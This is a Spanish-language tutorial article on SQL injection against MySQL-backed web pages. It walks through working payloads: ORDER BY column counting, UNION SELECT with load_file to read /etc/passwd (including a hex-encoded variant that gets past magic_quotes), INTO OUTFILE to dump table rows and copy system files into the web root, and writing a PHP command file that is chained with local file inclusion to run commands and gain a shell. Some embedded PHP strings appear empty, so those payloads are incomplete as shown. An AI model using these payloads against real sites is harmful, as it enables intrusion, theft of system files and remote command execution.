Blind SQL Injection

Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados, Unicamente comentare la técnica que nos permite leer ficheros del sistema.

Ficheros locales

Ante una web vulnerable a ataques SQL, en el caso de que el usuario con el que conectamos a la base de datos tenga permisos para usar el comando load_file de MySQL, podemos cargar cualquier archivo del sistema, por ejemplo, /etc/passwd.

Ejemplo:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host

 

Codigo vulnerable: Partimos de una tabla que desconocemos, con unos campos que desconocemos y con un MySQL que no muestra los errores por pantalla.

Llamada correcta que muestra el mail del usuario 2:
http://host/?id=2

Intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error

Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error.

Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query.

Modificamos la salida por pantalla (ya sabemos que hay 4 columnas): http://host/?id=-1 UNION SELECT 1,2,3,4

¿Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico:

Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4

Salida:
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host
1 2 3 4

 

Como en pantalla muestra solo el primer resultado, la salida sera:
El mail del usuario es: usuario@host

En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:

Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4

Salida:
1 2 3 4

 

La salida sera:
El mail del usuario es: 4

Aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');

Esto mostraría por pantalla el contenido de /etc/passwd en el lugar donde debería aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file).

En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL es que el usuario con el que leemos es diferente. En el primer caso usaremos un usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero puede servir a la hora de leer archivos con ciertos permisos.

Obteniendo datos sin fuerza bruta

Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host

 

Codigo vulnerable: Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

Y veremos que el contenido de /tmp/sql.txt es:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host

 

Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma forma podemos sacar los datos del resto de usuarios.

El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta.

Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile "/var/www/host.com/www/passwd"

O también podemos crear PHPs. Por ejemplo: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/phpinfo.php"

Ejecutando comandos remotamente

En este caso es sencillo provocar un error que nos muestre por pantalla la ruta donde se encuentra la web. Conociendola podemos crear un PHP con el codigo que nos permita ejecutar comandos:
http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/cmd.php"

Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a

Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:

Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,"",1,1 into outfile "/tmp/sql.txt"

Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a

Si hemos conseguido crear un fichero con nuestro codigo, podemos conseguir una shell.

Comenta con Facebook

No hay comentarios

                   

¿Quieres mantenerte informado sobre este artículo? Descarga nuestro Software en tu PC▼